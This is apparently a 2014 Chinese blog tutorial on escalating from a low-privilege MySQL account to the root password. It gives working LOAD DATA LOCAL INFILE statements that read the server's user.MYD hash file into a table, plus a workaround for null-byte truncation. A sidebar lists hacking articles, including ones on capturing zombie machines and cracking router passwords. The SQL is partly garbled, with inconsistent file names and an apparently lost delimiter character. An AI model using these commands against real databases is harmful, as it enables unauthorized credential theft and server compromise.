Mysql漏洞利用（越权，实战如何从低权限拿到root密码）
发布时间：2014-07-15 11:50:28作者：知识屋
众所周知，Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into dumpfile 或者into outfile去写文件，但是偶尔在一个网站上发现个小技巧，也就是通过load data infile可以读取本地文件到，这样子我们就可以在低权限下通过这个bug去读取服务器上的文件。代码如下：
LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';后来我就一直想怎么利用这个问题。一个可行的思路如下：
我们去读取mysql的数据库文件，mysql库的user表里存放着所有用户的hash，我们只要读取到这个文件，就差不多读取到了root的密码。
于是本地测试,注意，我当前连接的用户test是没有File权限的：
vcjnus6007XNyKjP3sTDtb1yb290w9zC66OpMS5qcGc=" class="aligncenter lh_lazyimg slideshow_imgs" data-bd-imgshare-binded="1" file="http://www.zhishiwu.com/uploadfile/2014/0524/20140524104645538.jpg" height="466" lazyloadpass="1" src="http://www.zhishiwu.com/uploadfile/2014/0524/20140524104645538.jpg" style="opacity: 1" width="649" />
下面我们执行如下语句：
LOAD DATA LOCAL INFILE 'C:/wamp/bin//mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by '';
然后select * from test2;
发现啥都木有，只有一个烂字符，我们用winhex打开一下user.myd文件
OK，找到问题了，被00字符给截断了，导致后面的东西都没进数据库。下面就想办法绕过这个限制。
经过几次尝试发现，在后面加上LINES TERMINATED BY ‘ ′ 即可，这样子就把截断符号作为分隔符处理了，完整的语句：
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY ' ';
效果：
OK，完成！
相关知识
软件推荐
更多 >
-
1菜鸟简单抓肉鸡（如何抓肉鸡）
2011-06-17
-
2
电脑开机时出现lass.exe进程是病毒吗？
-
3
自拍须谨慎！教你如何通过照片定位查看拍摄地点
-
4
电脑病毒最基础知识
-
5
黑客学员必须了解的C语言技术
-
6
精典详细内网渗透专题文章
-
7
教你破解Tp-Link的无线路由密码
-
8
解决SecureCRT中文显示乱码
-
9
QQ电脑管家和360哪个好？横评实测对比
-
10
攻防实战：无线网络路由入侵过程
